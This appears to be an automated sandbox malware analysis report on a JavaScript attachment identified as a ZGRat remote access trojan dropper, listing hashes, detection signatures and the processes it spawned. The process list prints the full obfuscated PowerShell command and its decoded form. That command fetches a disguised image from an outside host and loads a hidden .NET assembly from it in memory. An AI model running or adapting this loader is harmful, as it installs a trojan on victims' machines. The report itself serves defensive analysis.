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Analysis
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max time kernel
150s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20231020-en -
resource tags
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submitted
30/10/2023, 22:54
General
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Target
Coversheet_Estimate_Rsf38664.js
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Size
205KB
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MD5
1ccf9ca9abc89e65e76f9b18999e26ef
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SHA1
7862d256a30b52e7a3436767a87f310de36d0af7
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SHA256
26828d3ea7e3871515fd25c9c5ca4306d3a5e19781d7228e8ee074e4ecb128a5
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SHA512
ab9242b042c3ee84b9ad8e86a443c92c45acaa81c92926b7a804b3ec8c0fb186b75d95a7a27d7830f9f15e474a262d90f10f5a5e007f6d42de2e279ed8299abe
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SSDEEP
3072:f4b5PAkV+hVJro/B0hsTSD5kyikiC+kQ6DLbi9u6uRSqFBeWpl:U1cqkF
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
https://wallpapercave.com/uwp/uwp4098452.png
exe.dropper
https://wallpapercave.com/uwp/uwp4098452.png
Signatures
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Detect ZGRat V1 34 IoCs
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ZGRat
ZGRat is remote access trojan written in C#.
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Blocklisted process makes network request 1 IoCs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 4 IoCs
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Suspicious use of AdjustPrivilegeToken 2 IoCs
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Suspicious use of WriteProcessMemory 4 IoCs
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Coversheet_Estimate_Rsf38664.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J☪❞Bp☪❞G0☪❞YQBn☪❞GU☪❞VQBy☪❞Gw☪❞I☪❞☪❞9☪❞C☪❞☪❞JwBo☪❞HQ☪❞d☪❞Bw☪❞HM☪❞Og☪❞v☪❞C8☪❞dwBh☪❞Gw☪❞b☪❞Bw☪❞GE☪❞c☪❞Bl☪❞HI☪❞YwBh☪❞HY☪❞ZQ☪❞u☪❞GM☪❞bwBt☪❞C8☪❞dQB3☪❞H☪❞☪❞LwB1☪❞Hc☪❞c☪❞☪❞0☪❞D☪❞☪❞OQ☪❞4☪❞DQ☪❞NQ☪❞y☪❞C4☪❞c☪❞Bu☪❞Gc☪❞Jw☪❞7☪❞CQ☪❞dwBl☪❞GI☪❞QwBs☪❞Gk☪❞ZQBu☪❞HQ☪❞I☪❞☪❞9☪❞C☪❞☪❞TgBl☪❞Hc☪❞LQBP☪❞GI☪❞agBl☪❞GM☪❞d☪❞☪❞g☪❞FM☪❞eQBz☪❞HQ☪❞ZQBt☪❞C4☪❞TgBl☪❞HQ☪❞LgBX☪❞GU☪❞YgBD☪❞Gw☪❞aQBl☪❞G4☪❞d☪❞☪❞7☪❞CQ☪❞aQBt☪❞GE☪❞ZwBl☪❞EI☪❞eQB0☪❞GU☪❞cw☪❞g☪❞D0☪❞I☪❞☪❞k☪❞Hc☪❞ZQBi☪❞EM☪❞b☪❞Bp☪❞GU☪❞bgB0☪❞C4☪❞R☪❞Bv☪❞Hc☪❞bgBs☪❞G8☪❞YQBk☪❞EQ☪❞YQB0☪❞GE☪❞K☪❞☪❞k☪❞Gk☪❞bQBh☪❞Gc☪❞ZQBV☪❞HI☪❞b☪❞☪❞p☪❞Ds☪❞J☪❞Bp☪❞G0☪❞YQBn☪❞GU☪❞V☪❞Bl☪❞Hg☪❞d☪❞☪❞g☪❞D0☪❞I☪❞Bb☪❞FM☪❞eQBz☪❞HQ☪❞ZQBt☪❞C4☪❞V☪❞Bl☪❞Hg☪❞d☪❞☪❞u☪❞EU☪❞bgBj☪❞G8☪❞Z☪❞Bp☪❞G4☪❞ZwBd☪❞Do☪❞OgBV☪❞FQ☪❞Rg☪❞4☪❞C4☪❞RwBl☪❞HQ☪❞UwB0☪❞HI☪❞aQBu☪❞Gc☪❞K☪❞☪❞k☪❞Gk☪❞bQBh☪❞Gc☪❞ZQBC☪❞Hk☪❞d☪❞Bl☪❞HM☪❞KQ☪❞7☪❞CQ☪❞cwB0☪❞GE☪❞cgB0☪❞EY☪❞b☪❞Bh☪❞Gc☪❞I☪❞☪❞9☪❞C☪❞☪❞Jw☪❞8☪❞Dw☪❞QgBB☪❞FM☪❞RQ☪❞2☪❞DQ☪❞XwBT☪❞FQ☪❞QQBS☪❞FQ☪❞Pg☪❞+☪❞Cc☪❞Ow☪❞k☪❞GU☪❞bgBk☪❞EY☪❞b☪❞Bh☪❞Gc☪❞I☪❞☪❞9☪❞C☪❞☪❞Jw☪❞8☪❞Dw☪❞QgBB☪❞FM☪❞RQ☪❞2☪❞DQ☪❞XwBF☪❞E4☪❞R☪❞☪❞+☪❞D4☪❞Jw☪❞7☪❞CQ☪❞cwB0☪❞GE☪❞cgB0☪❞Ek☪❞bgBk☪❞GU☪❞e☪❞☪❞g☪❞D0☪❞I☪❞☪❞k☪❞Gk☪❞bQBh☪❞Gc☪❞ZQBU☪❞GU☪❞e☪❞B0☪❞C4☪❞SQBu☪❞GQ☪❞ZQB4☪❞E8☪❞Zg☪❞o☪❞CQ☪❞cwB0☪❞GE☪❞cgB0☪❞EY☪❞b☪❞Bh☪❞Gc☪❞KQ☪❞7☪❞CQ☪❞ZQBu☪❞GQ☪❞SQBu☪❞GQ☪❞ZQB4☪❞C☪❞☪❞PQ☪❞g☪❞CQ☪❞aQBt☪❞GE☪❞ZwBl☪❞FQ☪❞ZQB4☪❞HQ☪❞LgBJ☪❞G4☪❞Z☪❞Bl☪❞Hg☪❞TwBm☪❞Cg☪❞J☪❞Bl☪❞G4☪❞Z☪❞BG☪❞Gw☪❞YQBn☪❞Ck☪❞Ow☪❞k☪❞HM☪❞d☪❞Bh☪❞HI☪❞d☪❞BJ☪❞G4☪❞Z☪❞Bl☪❞Hg☪❞I☪❞☪❞t☪❞Gc☪❞ZQ☪❞g☪❞D☪❞☪❞I☪❞☪❞t☪❞GE☪❞bgBk☪❞C☪❞☪❞J☪❞Bl☪❞G4☪❞Z☪❞BJ☪❞G4☪❞Z☪❞Bl☪❞Hg☪❞I☪❞☪❞t☪❞Gc☪❞d☪❞☪❞g☪❞CQ☪❞cwB0☪❞GE☪❞cgB0☪❞Ek☪❞bgBk☪❞GU☪❞e☪❞☪❞7☪❞CQ☪❞cwB0☪❞GE☪❞cgB0☪❞Ek☪❞bgBk☪❞GU☪❞e☪❞☪❞g☪❞Cs☪❞PQ☪❞g☪❞CQ☪❞cwB0☪❞GE☪❞cgB0☪❞EY☪❞b☪❞Bh☪❞Gc☪❞LgBM☪❞GU☪❞bgBn☪❞HQ☪❞a☪❞☪❞7☪❞CQ☪❞YgBh☪❞HM☪❞ZQ☪❞2☪❞DQ☪❞T☪❞Bl☪❞G4☪❞ZwB0☪❞Gg☪❞I☪❞☪❞9☪❞C☪❞☪❞J☪❞Bl☪❞G4☪❞Z☪❞BJ☪❞G4☪❞Z☪❞Bl☪❞Hg☪❞I☪❞☪❞t☪❞C☪❞☪❞J☪❞Bz☪❞HQ☪❞YQBy☪❞HQ☪❞SQBu☪❞GQ☪❞ZQB4☪❞Ds☪❞J☪❞Bi☪❞GE☪❞cwBl☪❞DY☪❞N☪❞BD☪❞G8☪❞bQBt☪❞GE☪❞bgBk☪❞C☪❞☪❞PQ☪❞g☪❞CQ☪❞aQBt☪❞GE☪❞ZwBl☪❞FQ☪❞ZQB4☪❞HQ☪❞LgBT☪❞HU☪❞YgBz☪❞HQ☪❞cgBp☪❞G4☪❞Zw☪❞o☪❞CQ☪❞cwB0☪❞GE☪❞cgB0☪❞Ek☪❞bgBk☪❞GU☪❞e☪❞☪❞s☪❞C☪❞☪❞J☪❞Bi☪❞GE☪❞cwBl☪❞DY☪❞N☪❞BM☪❞GU☪❞bgBn☪❞HQ☪❞a☪❞☪❞p☪❞Ds☪❞J☪❞Bj☪❞G8☪❞bQBt☪❞GE☪❞bgBk☪❞EI☪❞eQB0☪❞GU☪❞cw☪❞g☪❞D0☪❞I☪❞Bb☪❞FM☪❞eQBz☪❞HQ☪❞ZQBt☪❞C4☪❞QwBv☪❞G4☪❞dgBl☪❞HI☪❞d☪❞Bd☪❞Do☪❞OgBG☪❞HI☪❞bwBt☪❞EI☪❞YQBz☪❞GU☪❞Ng☪❞0☪❞FM☪❞d☪❞By☪❞Gk☪❞bgBn☪❞Cg☪❞J☪❞Bi☪❞GE☪❞cwBl☪❞DY☪❞N☪❞BD☪❞G8☪❞bQBt☪❞GE☪❞bgBk☪❞Ck☪❞Ow☪❞k☪❞Gw☪❞bwBh☪❞GQ☪❞ZQBk☪❞EE☪❞cwBz☪❞GU☪❞bQBi☪❞Gw☪❞eQ☪❞g☪❞D0☪❞I☪❞Bb☪❞FM☪❞eQBz☪❞HQ☪❞ZQBt☪❞C4☪❞UgBl☪❞GY☪❞b☪❞Bl☪❞GM☪❞d☪❞Bp☪❞G8☪❞bg☪❞u☪❞EE☪❞cwBz☪❞GU☪❞bQBi☪❞Gw☪❞eQBd☪❞Do☪❞OgBM☪❞G8☪❞YQBk☪❞Cg☪❞J☪❞Bj☪❞G8☪❞bQBt☪❞GE☪❞bgBk☪❞EI☪❞eQB0☪❞GU☪❞cw☪❞p☪❞Ds☪❞J☪❞B0☪❞Hk☪❞c☪❞Bl☪❞C☪❞☪❞PQ☪❞g☪❞CQ☪❞b☪❞Bv☪❞GE☪❞Z☪❞Bl☪❞GQ☪❞QQBz☪❞HM☪❞ZQBt☪❞GI☪❞b☪❞B5☪❞C4☪❞RwBl☪❞HQ☪❞V☪❞B5☪❞H☪❞☪❞ZQ☪❞o☪❞Cc☪❞RgBp☪❞GI☪❞ZQBy☪❞C4☪❞S☪❞Bv☪❞G0☪❞ZQ☪❞n☪❞Ck☪❞Ow☪❞k☪❞G0☪❞ZQB0☪❞Gg☪❞bwBk☪❞C☪❞☪❞PQ☪❞g☪❞CQ☪❞d☪❞B5☪❞H☪❞☪❞ZQ☪❞u☪❞Ec☪❞ZQB0☪❞E0☪❞ZQB0☪❞Gg☪❞bwBk☪❞Cg☪❞JwBW☪❞EE☪❞SQ☪❞n☪❞Ck☪❞LgBJ☪❞G4☪❞dgBv☪❞Gs☪❞ZQ☪❞o☪❞CQ☪❞bgB1☪❞Gw☪❞b☪❞☪❞s☪❞C☪❞☪❞WwBv☪❞GI☪❞agBl☪❞GM☪❞d☪❞Bb☪❞F0☪❞XQ☪❞g☪❞Cg☪❞JwBN☪❞EM☪❞OQBt☪❞GU☪❞b☪❞BR☪❞Hc☪❞ZQBp☪❞Dk☪❞awBM☪❞DI☪❞VgBs☪❞Ew☪❞bQBW☪❞D☪❞☪❞Yw☪❞y☪❞EY☪❞dwBM☪❞Hk☪❞O☪❞☪❞2☪❞GM☪❞MwBC☪❞D☪❞☪❞Z☪❞BH☪❞Gc☪❞PQ☪❞n☪❞C☪❞☪❞L☪❞☪❞g☪❞Cc☪❞MQ☪❞n☪❞C☪❞☪❞L☪❞☪❞g☪❞Cc☪❞Jw☪❞g☪❞Cw☪❞I☪❞☪❞n☪❞Cc☪❞I☪❞☪❞s☪❞C☪❞☪❞Jw☪❞n☪❞C☪❞☪❞L☪❞☪❞g☪❞Cc☪❞Jw☪❞g☪❞Cw☪❞I☪❞☪❞n☪❞Cc☪❞KQ☪❞p☪❞☪❞==';$OWjuxd = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($codigo.repl"ace('☪❞','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxd"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4098452.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('MC9melQwei9kL2VlLmV0c2FwLy86c3B0dGg=' , '1' , '' , '' , '' , '' , ''))"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
64KB
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Filesize
10.8MB
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Filesize
3.3MB
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Filesize
10.8MB
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Filesize
64KB
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Filesize
64KB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
3.3MB
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Filesize
64KB
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Filesize
64KB
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Filesize
64KB
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Filesize
10.8MB
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Filesize
10.8MB
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Filesize
136KB
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Filesize
64KB
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Filesize
64KB
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Filesize
64KB